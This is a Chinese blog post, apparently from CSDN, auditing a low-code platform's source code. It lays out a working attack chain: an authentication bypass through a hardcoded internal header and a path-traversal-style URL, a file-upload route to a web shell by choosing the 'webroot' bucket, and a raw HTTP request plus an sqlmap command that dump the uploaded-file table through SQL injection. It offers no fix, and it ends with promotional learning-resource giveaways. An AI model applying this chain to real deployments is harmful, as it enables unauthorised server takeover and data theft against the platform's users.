某低代码平台代码审计分析

最新推荐文章于 2024-08-14 22:26:03 发布
最新推荐文章于 2024-08-14 22:26:03 发布
阅读量1k 收藏 12
点赞数 10
文章标签： web安全 网络安全 计算机网络 安全 系统安全 ddos 密码学
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_34851291/article/details/140493517
版权

一、权限绕过

发现很多接口没登录就不能访问，于是直接定位到sessionfilter

第一种：

image.png

image.png

所以很简单，我们加上这个头就能绕过了

第二种：

            //请求路径
            String uri = request.getRequestURI();

            //校验是否放行
            if (noFiltersMatcher.matches(uri)) {
                doFilter = false;
            }

image.png

类似shiro的权限绕过，可以利用static/../je/document/file绕过

二、文件上传审计

根据关键字匹配很容易可以定位到两个接口

/je/document/file
/je/disk/file
还有其他的，逻辑都差不多

就直接看/je/document/file

前面都是一些参数处理，可以略过，值得关注的是这里有两个参数bucket和dir是可控的

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

直接往下看到

 //保存文件并持久化业务数据
 List fileBos = documentBusService.saveFile(fileUploadFiles, userId, metadata, bucket, dir);

跟进进入到接口的实现方法

public List saveFile(List fileUploadFiles, String userId, JSONObject metadata, String bucket, String dir) {
        Calendar now = Calendar.getInstance();
        List files = new ArrayList();
        Iterator var8 = fileUploadFiles.iterator();

        while(true) {
            FileUpload fileUpload;
            String fileKey;
            while(true) {
                if (!var8.hasNext()) {
                    return files;
                }

                fileUpload = (FileUpload)var8.next();
                fileKey = fileUpload.getFileKey();
                if (StringUtils.isNotBlank(fileKey)) {
                    if (this.selectFileByKey(fileKey) != null) {
                        continue;
                    }
                    break;
                }

                fileKey = JEUUID.uuid();
                break;
            }

            this.log.warn("{} Upload file start ...", fileKey);
            String fileName = fileUpload.getFileName();
            Long size = fileUpload.getSize();
            String contentType = fileUpload.getContentType();
            this.log.warn("{} File msg: name({}),size({}),type({}),bucket({}).", new Object[]{fileKey, fileName, size, contentType, bucket});
            this.log.warn("{} Start read byte array ...", fileKey);
            long currentTimeMillis = System.currentTimeMillis();
            byte[] bytes = IoUtil.readBytes(fileUpload.getFile());
            this.log.warn("{} Read byte success, cost time: {}.", fileKey, System.currentTimeMillis() - currentTimeMillis);

            try {
                Bucket bucketBO = this.fileManager.findBucket(bucket);
                DocumentFileDO fileDO = null;
                DigestEnum digestEnum = null;
                String digestValue = null;
                if (this.fileAutoGenerator == null) {
                    this.fileAutoGenerator = DefaultFileAutoGenerator.getInstance();
                }

                if (StringUtils.isBlank(dir) && this.fileAutoGenerator.checkDigest()) {
                    digestEnum = DigestEnum.getDefault();
                    digestValue = this.fileManager.messageDigest(bytes, digestEnum);
                    this.log.warn("{} Check file digest.", fileKey);
                    fileDO = this.fileDAO.selectFileByDigest(digestEnum, digestValue, bucketBO.getBucket());
                    if (fileDO != null && !this.fileManager.existFile(fileDO.getFilePath(), fileDO.getBucket())) {
                        fileDO.setDeleted(true);
                        this.fileDAO.update(fileDO);
                        fileDO = null;
                    }
                }

                if (fileDO == null) {
                    currentTimeMillis = System.currentTimeMillis();
                    this.log.warn("{} Save file start ...", fileKey);
                    FileSaveDTO fileSaveDTO = this.fileManager.saveFile(fileName, contentType, bytes, bucketBO, dir);
                    this.log.warn("{} Save file success, cost time: {}.", fileKey, System.currentTimeMillis() - currentTimeMillis);
                    fileDO = new DocumentFileDO();
                    BeanUtil.copyProperties(fileSaveDTO, fileDO);
                    String[] splitFolder = fileSaveDTO.getFilePath().split("/");
                    fileDO.setFolder(fileSaveDTO.getFilePath().replaceAll(splitFolder[splitFolder.length - 1], ""));
                    fileDO.setContentType(fileUpload.getContentType());
                    fileDO.setSize(fileUpload.getSize());
                    if (StringUtils.isBlank(dir) && this.fileAutoGenerator.checkDigest()) {
                        fileDO.setDigestType(digestEnum.getCode());
                        fileDO.setDigestValue(digestValue);
                    }

                    fileDO.setCreateUser(userId);
                    fileDO.setModifiedUser(userId);
                    this.fileDAO.save(fileDO);
                }

...
....
......
            this.log.warn("{} Upload file end ...", fileKey);
        }
    }

方法很长，但基本上都是一些赋值取值的操作，其中会判断dir是否为空，如果为空就直接进入到下一个if，因为fileDO没有被操作过，所以进入到if中

再跟进到FileSaveDTO fileSaveDTO = this.fileManager.saveFile(fileName, contentType, bytes, bucketBO, dir);

public FileSaveDTO saveFile(String fileName, String contentType, byte[] byteArray, Bucket bucket, String dir) {
        ByteArrayInputStream temp = null;

        FileSaveDTO var24;
        try {
            if (this.fileAutoGenerator == null) {
                this.fileAutoGenerator = DefaultFileAutoGenerator.getInstance();
            }

            FileOperate fileOperate = FileOperateFactory.getInstance(bucket);
            StringBuilder filePath = new StringBuilder();
            String fullName = "";
            if (bucket.getSaveType().equals(SaveTypeEnum.mongodb.getCode())) {
                fullName = fileName;
                filePath.append(String.format("%s/%s", bucket.getBasePath(), fileName));
            } else {
                if (StringUtils.isNotBlank(dir)) {
                    filePath.append(dir);
                } else {
                    filePath.append(this.fileAutoGenerator.pathGenerator(fileName, contentType, byteArray, bucket));
                }

                fullName = this.fileAutoGenerator.fileNameGenerator(fileName, contentType, byteArray, bucket);
                filePath.append("/").append(fullName);
            }

            String[] splits = fullName.split("\\.");
            String name = splits[0];
            String suffix = splits.length == 1 ? "" : splits[splits.length - 1];
            temp = IoUtil.toStream(byteArray);
            UploadFileDTO dto = fileOperate.uploadFile(filePath.toString(), temp);
            FileSaveDTO fileSaveDTO = new FileSaveDTO();
            if (bucket.getSaveType().equals(SaveTypeEnum.mongodb.getCode())) {
                name = dto.getFilePath().split("/")[1];
            }

            fileSaveDTO.setName(name);
            fileSaveDTO.setSuffix(suffix);
            fileSaveDTO.setFullName(fullName);
            fileSaveDTO.setFilePath(dto.getFilePath());
            fileSaveDTO.setFullUrl(dto.getFullUrl());
            fileSaveDTO.setBucket(bucket.getBucket());
            fileSaveDTO.setSaveType(bucket.getSaveType());
            fileSaveDTO.setPermission(bucket.getPermission());
            if (this.fileAutoGenerator.thumbnailGenerator()) {
                InputStream thumbnail = this.thumbnail(byteArray, contentType, suffix);
                if (thumbnail != null) {
                    UploadFileDTO thumbnailDto = fileOperate.uploadFile(filePath.append(".thumbnail").toString(), thumbnail);
                    fileSaveDTO.setThumbnail(thumbnailDto.getFilePath());
                }
            }

这里首先将bucket对象传入了一个文件操作的工厂类（FileOperateFactory）中去获取实例，我们跟进，

public static FileOperate getInstance(Bucket bucketBO) {
        try {
            if (INSTANCES.containsKey(bucketBO.getBucket()) && ((FileOperate)INSTANCES.get(bucketBO.getBucket())).isLastVersion(bucketBO.getModifiedTime())) {
                return (FileOperate)INSTANCES.get(bucketBO.getBucket());
            } else {
                FileOperate fileOperate = buildFileOperate(bucketBO);
                if (fileOperate == null) {
                    throw new Exception("文件工具类实例构建失败!");
                } else {
                    INSTANCES.put(bucketBO.getBucket(), fileOperate);
                    return fileOperate;
                }
            }
        } catch (Exception var2) {
            log.info("FileOperate create fail, {}", JSON.toJSONString(bucketBO));
            throw new DocumentException(var2.getMessage(), DocumentExceptionEnum.DOCUMENT_FILE_OPERATE_INIT, var2);
        }
    }

    private static FileOperate buildFileOperate(Bucket bucketBO) throws Exception {
        SaveTypeEnum saveType = SaveTypeEnum.getDefault(bucketBO.getSaveType());
        if (SaveTypeEnum.aliyun == saveType) {
            return new FileOperateOSS(bucketBO.getAccessBucket(), bucketBO.getAccessKey(), bucketBO.getSecretKey(), bucketBO.getUrl(), bucketBO.getPermission(), bucketBO.getBasePath(), bucketBO.getModifiedTime());
        } else if (SaveTypeEnum.DEFAULT == saveType) {
            return new FileOperateLocal(bucketBO.getBasePath(), bucketBO.getModifiedTime());
        } else if (SaveTypeEnum.tencent == saveType) {
            return new FileOperateTencent(bucketBO.getAccessKey(), bucketBO.getSecretKey(), bucketBO.getExt1(), bucketBO.getAccessBucket(), bucketBO.getPermission(), bucketBO.getBasePath(), bucketBO.getModifiedTime(), bucketBO.getUrl());
        } else if (SaveTypeEnum.mongodb == saveType) {
            return new FileOperateMongodb(bucketBO.getBasePath(), bucketBO.getModifiedTime());
        } else {
            String key = "save." + bucketBO.getSaveType();
            String className = props.getProperty(key);
            Class clazz = Class.forName(className);
            Constructor c = clazz.getConstructor(Bucket.class);
            return (FileOperate)c.newInstance(bucketBO);
        }
    }

进入到buildFileOperate方法发现会判断bucket对象的saveType类型，跟到枚举类中发现有这几个

image.png

但是这是怎么来的呢，这里我去翻了一下数据库，在je_document_bucket表中

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们可以知道，webroot和disk-oss这两个bucket都是对应defalut类型的。

实例化出来后，继续往下走

           StringBuilder filePath = new StringBuilder();
            String fullName = "";
            if (bucket.getSaveType().equals(SaveTypeEnum.mongodb.getCode())) {
                fullName = fileName;
                filePath.append(String.format("%s/%s", bucket.getBasePath(), fileName));
            } else {
                if (StringUtils.isNotBlank(dir)) {
                    filePath.append(dir);
                } else {
                    filePath.append(this.fileAutoGenerator.pathGenerator(fileName, contentType, byteArray, bucket));
                }

                fullName = this.fileAutoGenerator.fileNameGenerator(fileName, contentType, byteArray, bucket);
                filePath.append("/").append(fullName);
            }

            String[] splits = fullName.split("\\.");
            String name = splits[0];
            String suffix = splits.length == 1 ? "" : splits[splits.length - 1];
            temp = IoUtil.toStream(byteArray);
            UploadFileDTO dto = fileOperate.uploadFile(filePath.toString(), temp);
            FileSaveDTO fileSaveDTO = new FileSaveDTO();
            if (bucket.getSaveType().equals(SaveTypeEnum.mongodb.getCode())) {
                name = dto.getFilePath().split("/")[1];
            }

      ....
        ....
            if (this.fileAutoGenerator.thumbnailGenerator()) {
                InputStream thumbnail = this.thumbnail(byteArray, contentType, suffix);
                if (thumbnail != null) {
                    UploadFileDTO thumbnailDto = fileOperate.uploadFile(filePath.append(".thumbnail").toString(), thumbnail);

这里就是根据不同情况获取文件路径和文件名，我们后面需要的时候再过来看

我们直接跟进到UploadFileDTO dto = fileOperate.uploadFile(filePath.toString(), temp);

这里就会发现，有四个实现类，而我们要getshell，当然是需要选择走本地上传。

image.png
所以我们就得控制fileOperate的类型，而这个正是之前FileOperateFactory实例化出来的对象，

跟进工厂类

image.png
会走到local

image.png

而disk-oss是default

image.png
所以会走到local的upload file

image.png
当bucket类型为default，就会是

image.png

所以就知道，我们控制bucket参数值为webroot

接着，能够上传文件了，但是还不知道路径，所以返回到之前的方法

StringBuilder filePath = new StringBuilder();
            String fullName = "";
            if (bucket.getSaveType().equals(SaveTypeEnum.mongodb.getCode())) {
                fullName = fileName;
                filePath.append(String.format("%s/%s", bucket.getBasePath(), fileName));
            } else {
                if (StringUtils.isNotBlank(dir)) {
                    filePath.append(dir);
                } else {
                    filePath.append(this.fileAutoGenerator.pathGenerator(fileName, contentType, byteArray, bucket));
                }

                fullName = this.fileAutoGenerator.fileNameGenerator(fileName, contentType, byteArray, bucket);
                filePath.append("/").append(fullName);
            }

这里dir可控，可以直接随便取个名字，就是一个新文件夹，也可以留空，会在document下生成一个/year/yy-mm/格式的文件夹

可以先看看在数据库中结果

image.png

然后最麻烦的点就是这个文件名，fileNameGenerator这个方法会用uuid再生成一个文件名，并没有沿用前面生成的fileKey，所以在最终页面回显的时候，看到的fileKey并不是文件名

image.png

三、SQL注入

后面去翻了自带的sql文件，发现在je_document_file表中会记录存储上传的文件，包括完整路径，正好之前审计的时候看代码也发现了有很多地方的sql语句都是直接拼接的，可以直接注入，这里我随便找了一个

POST /rbac/im/accessToTeanantInfo HTTP/1.1
Host: xxxxx
Accept-Language: zh-CN,zh;q=0.9
internalRequestKey: schedule_898901212
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Cookie: je-local-lang=zh_CN; JSESSIONID=155BD0DA95609068A00408ACF1326C63
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

tenantId=1

image.png

利用sqlmap直接跑可以出数据

sqlmap -r 2.txt --level 3 -D "jepaas" -T "je_document_file" --dump --fresh-queries

–fresh-queries是因为sqlmap可能有缓存，数据不刷新，导致找不到文件名。

四、要注意的几个点

一、数据库不一定就是默认的jepass，有可能会变

二、文件上传的bucket不同会影响是否能够在页面访问，比如webroot可以解析到页面上，disk-oss则不行，如下图。并且我尝试了他系统的一些文件也是如此，当然不排除是这个站的一些配置的原因。但是如果碰到这种配置的话就不能够利用disk那个上传接口，因为默认写死了就是disk-oss

image.png

image.png

在这里插入图片描述

所以我个人还是建议采用document这个接口，因为这个接口的bucket是可控的

image.png

image.png

时间都是能对上的

image.png

三、访问文件也需要带上那个internalRequestKey: schedule\_898901212header头去访问，不然过不了认证

今天只要你给我的文章点赞，我私藏的网安学习资料一样免费共享给你们，来看看有哪些东西。

网络安全学习资源分享:

给大家分享我自己学习的一份全套的网络安全学习资料，希望对想学习 网络安全的小伙伴们有帮助！

零基础入门

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

【点击免费领取】CSDN大礼包：《黑客&网络安全入门&进阶学习资源包》

1.学习路线图

在这里插入图片描述

攻击和防守要学的东西也不少，具体要学的东西我都写在了上面的路线图，如果你能学完它们，你去接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源，但基本上都残缺不全的，这是我自己录的网安视频教程，上面路线图的每一个知识点，我都有配套的视频讲解。【点击领取视频教程】

在这里插入图片描述

技术文档也是我自己整理的，包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点，电子书也有200多本【点击领取技术文档】

在这里插入图片描述

（都打包成一块的了，不能一一展开，总共300多集）

3.技术文档和电子书

技术文档也是我自己整理的，包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点，电子书也有200多本【点击领取书籍】

在这里插入图片描述

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等，感兴趣的同学不容错过。

在这里插入图片描述

最后就是我这几年整理的网安方面的面试题，如果你是要找网安方面的工作，它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的，如果大家有好的题目或者好的见解欢迎分享。

参考解析：深信服官网、奇安信官网、Freebuf、csdn等

内容特点：条理清晰，含图像化表示更加易懂。

内容概要：包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

在这里插入图片描述

👋全套《黑客&网络安全入门&进阶学习资源包》👇👇👇

这份完整版的学习资料已经上传CSDN，也可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】

img

程序员小予
关注
  • 10
    点赞
  • 踩
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
深度解读：2021 中国低代码平台发展现状
weixin_39545889的博客
05-18 1420
全文2360字 阅读时间约7 分钟 目录 「低」代码，「高」质量 不同行业下的低代码使用场景 低代码技术技术领域划分 写在最后 「低」代码，「高」质量 八年前，全球权威咨询机构 Forrester 首次在报告中引入了低代码的概念。放眼彼时的中国市场，「低代码」这一名词还鲜为人知，随着国家积极推动数字化发展（加强数字化发展治理 推进数字中国建设），越来越多的企业投入到了数字化经济的建设中，「低代码」也在这样的大环境中悄然成长，以快捷高效的特点赢得了多方青睐。去年 11 月，Forre...
代码审计学习路线
网安技术分享
09-03 2547
学习代码审计分以下四部分 一.编程语言 1.前端语言 html/javascript/dom元素使用，主要是为了挖掘xss漏洞，jquery 主要写一些涉及到CSRF脚本使用的或者DOM型XSS，JSON劫持等 2.后端语言 基础语法要知道，例如 变量类型,常量,数组(python 是列表,元组,字典)，对象,类的调用,引用等， MVC设计模式要清楚,因为大部分目标程序都是基于MVC写的，包括不限于php，python，java。 不用会写，但是一定能看懂，而且要看懂逻辑，知道...
OSWE—我的代码审计之路
zkaqlaoniao的博客
06-12 1164
大家好，我是 zkaq-念旧。上周，我终于获得了我梦寐以求的 OSWE 认证，然后安心过了个节，现在我也算是半只脚踏进代码审计圈了。在本篇文章中，我将介绍有关于 OSWE 课程的信息、考试规则、解答常见疑问，以及分享我的备考经验，我将带领你一步一步拿到属于你自己的 OSWE 认证。疯狂暗示（话说社区好像没有 “证书分享” 板块，要不加一个？大家考了证都来分享分享经验和心得，争取掌控全员 OSCE3 [狗头]）疯狂暗示我不会任何的内网渗透知识，但我在代码领域专精。
PHP代码审计18—PHP代码审计小结
W0ngk，一个安全菜鸡，一直在模仿，尚未有超越。
08-25 2813
阶段性小结
代码审计思路之PHP代码审计
kali_Ma的博客
01-13 2314
00×0 前言 最近也是边挖src边审计代码，总结下最近的php代码审计的一些思路，我一般按照顺序往下做，限于能力水平，可能会有不对或者欠缺的地方，希望各位师傅能够指导。 00×1 前期工作,需要的工具（我使用的) PHPStorm|是PHP编程语言开发的集成环境。 Fotify|代码审计静态扫描工具，商业化静态代码扫描工具，误报率相对较低。 seay|源代码审计工具 CodeQl | 高效的QL非商业的开源代码自动化审计工具。 xcheck| Xcheck 是一款静态应用安全测试工具，旨在及时发现业务代码
代码安全审计之道
有价值炮灰
01-24 1081
代码审计是每个安全研究员都应该掌握的技能。但是网上对于代码审计的介绍文章却比较匮乏。因此本文一方面作为 *The Art of Software Security Assessment* 一书的阅读笔记，另一方面也结合自己日常工作的经验总结，希望能国内的安全研究员有个抛砖引玉的帮助。
PHP代码审计(全)
sechelper的博客
12-07 3804
PHP代码审计全流程，黑白盒测试，小技巧，实操案例
内部分享 | 某安全公司「代码审计岗位」面试题
weixin_55163056的博客
03-15 666
代码审计，这个在信息安全领域里举足轻重的岗位，它要求的不仅仅是过硬的技术实力，更需要对细节敏锐的洞察力和对安全漏洞深刻的理解。这些题目，有的涉及基础的编程知识，有的则深入到安全漏洞的挖掘和利用；有的要求分析代码的逻辑结构，有的则需要判断潜在的安全风险。
java代码审计_Java代码审计| Spring框架思路篇
weixin_42365234的博客
02-15 796
Java的WEB框架是Java进阶课程,当要进行Spring的漏洞分析，要有一定的Java代码知识储备。Java后端标准的学习路线：JavaSE->JavaEE->Java Web框架Spring是Java最核心，最重要的框架。0X01 审计环境准备当进行Spring的代码审计(Spring某一个组件包进行分析)时，首先要有相应Spring项目源码，要让没有编写代码经验的朋友从头编写一...
低代码技术在生产管理中的应用与优势
HUIBUR的博客
08-09 871
低代码技术为企业提供了灵活、高效的开发工具，帮助其应对生产管理中的各种挑战，实现业务流程的优化和数字化转型。企业应抓住低代码技术发展的机遇，积极探索和利用其优势，提升生产管理和运营效率，增强市场竞争力，走在时代发展的前沿。
代码审计--源代码审计思路
01-27
代码审计是确保软件安全的重要环节，它涉及到对源代码的深度分析，以识别潜在的安全漏洞和性能问题。本文主要探讨了两种代码审计方法：逆向回溯和业务类型的正向审计，以及这两种方法在实际应用中的优缺点。 逆向...
Seay PHP代码审计工具 V2.0.3 C#
03-17
摘要:C#源码,字符处理,代码审计　C#编写的PHP代码审计工具的源代码，本人目前就读重庆某软件学院软件测试专业，将于2013年1月底毕业，为了扎实基础，于是有时间就会找一些源码研究，有时候想走走捷径，提高下效率，...
Seay PHP代码审计工具 V2.0.3源码
10-14
本人目前就读重庆某软件学院软件测试专业，将于2013年1月底毕业，为了扎实基础，于是有时间就会找一些源码研究，有时候想走走捷径，提高下效率，于是开始找一些代码审计的工具，但是目前国内貌似没有发现专业的这类...
代码审计方案.doc
12-12
功能点人工代码审计是对某个或某几个重要的功能点的源代码进行人工代码审计，发现功能点存在的代码安全问题。 代码审计工具包括 Fortify SCA 等静态的、白盒的软件源代码安全测试工具。Fortify SCA 通过内置的五大...
0DAY挖掘巧思-代码执行之漏洞审计-漏洞银行大咖面对面35-水清云影
01-25
该课程由水清云影主讲，深入探讨了代码审计的基本原理、技巧以及实战案例，对于提升开发人员与安全分析师的安全意识具有重要意义。 **一、代码审计思路** 代码审计是发现潜在安全漏洞的重要手段之一，通过系统地...
怎么在网络攻击中屹立不倒
dexun123的博客
08-12 632
在当今蓬勃发展的网络游戏产业中，服务器安全无疑是企业生存与发展的基石。面对互联网环境中无处不在的DDoS（分布式拒绝服务）与CC（挑战碰撞）攻击威胁，游戏服务器的防御能力与高效处理能力显得尤为重要。相较于追求综合性能平衡的普通服务器，游戏服务器必须专注于构建坚不可摧的安全防线与流畅无阻的游戏体验，以抵御外部侵扰，确保玩家沉浸于无缝的游戏世界。
【安全工具推荐-Search_Viewer资产测绘】
最新发布
qq_55213436的博客
08-14 121
Search_Viewer，集Fofa、Hunter鹰图、Shodan、360 quake、Zoomeye 钟馗之眼、censys 为一体的空间测绘gui图形界面化工具，支持一键采集爬取和导出fofa、shodan等数据，方便快捷查看。包含语法帮助手册，忘记查询语法也能方便查看语法，渗透不二之选。
Animetronic - hackmyvm
tanbinn的博客
08-12 442
hackmyvm的Animetronic靶场
安全入门day.02
mxxcxy的博客
08-14 828
这里使用小皮面板部署网页（1）点击安装程序开始安装，在自定义选项中修改安装位置，根据自己实际安装位置设定，作者这里安装在C盘作为演示（2）点击立即安装，等待进度条走完（3）点击安装完成执行程序（4）如果出现以下界面就是安装成功了（5）根据设定的软件安装位置，部署网站，软件根目录下面有3个文件夹，第一个COM文件夹是小皮面板的配置文件，第二个Extensions文件夹是存放已经安装的软件环境，例如php、mysql和Apache等；
PHP代码审计：CSRF漏洞深度解析
"本文档主要讨论PHP代码审计中的CSRF（跨站请求伪造）漏洞，特别是针对CSRF漏洞的几种常见绕过方法和一个具体的CMS系统实例分析。" 在Web开发中，CSRF（Cross-site request forgery）是一种常见的安全漏洞，它允许...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值